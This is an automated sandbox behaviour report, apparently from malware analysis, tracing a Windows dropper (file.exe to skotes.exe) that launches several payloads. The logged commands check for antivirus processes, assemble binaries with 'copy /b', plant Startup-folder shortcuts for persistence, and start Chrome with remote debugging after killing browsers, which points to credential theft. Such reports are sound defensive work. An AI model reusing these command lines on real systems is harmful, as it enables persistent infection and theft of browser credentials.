Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000024.00000002.3103706558.00005818006EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: 3907f97605.exe, 0000001F.00000003.2881453180.0000000005A84000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2924321266.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3413306772.0000000005591000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3383240040.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe "C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe "C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe"
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 662510
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Cameras + ..\Webmaster + ..\Contained + ..\More + ..\Wow + ..\Kg + ..\Love + ..\Parameter + ..\Dallas + ..\Falls + ..\Principal + ..\Tft + ..\Enabling + ..\Id + ..\Raise + ..\Tests + ..\Fw + ..\Dist + ..\Optimum + ..\Editor + ..\Lady + ..\William + ..\Myers + ..\Distribution + ..\All + ..\Republicans + ..\Candidates + ..\Blond + ..\Bermuda + ..\Tablets + ..\Defend + ..\Statement + ..\Streams + ..\Extensive + ..\Ecommerce + ..\Tourist + ..\Transsexual + ..\Participation + ..\Strange + ..\Remedy + ..\Thursday + ..\Client + ..\Courts + ..\Malta + ..\Mel + ..\Quantitative A
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\662510\Ryan.com Ryan.com A
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & echo URL="C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe "C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe"
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr" "C:\Users\user\AppData\Local\GuardTech Solutions\K"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2224,i,1451387400477687369,13867640751301481737,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe "C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe"
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe "C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe "C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe "C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe "C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe "C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe "C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe "C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Config Config.cmd && Config.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 662510	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Cameras + ..\Webmaster + ..\Contained + ..\More + ..\Wow + ..\Kg + ..\Love + ..\Parameter + ..\Dallas + ..\Falls + ..\Principal + ..\Tft + ..\Enabling + ..\Id + ..\Raise + ..\Tests + ..\Fw + ..\Dist + ..\Optimum + ..\Editor + ..\Lady + ..\William + ..\Myers + ..\Distribution + ..\All + ..\Republicans + ..\Candidates + ..\Blond + ..\Bermuda + ..\Tablets + ..\Defend + ..\Statement + ..\Streams + ..\Extensive + ..\Ecommerce + ..\Tourist + ..\Transsexual + ..\Participation + ..\Strange + ..\Remedy + ..\Thursday + ..\Client + ..\Courts + ..\Malta + ..\Mel + ..\Quantitative A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\662510\Ryan.com Ryan.com A	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & echo URL="C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LionGuard.url" & exit
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr "C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr" "C:\Users\user\AppData\Local\GuardTech Solutions\K"
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2224,i,1451387400477687369,13867640751301481737,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
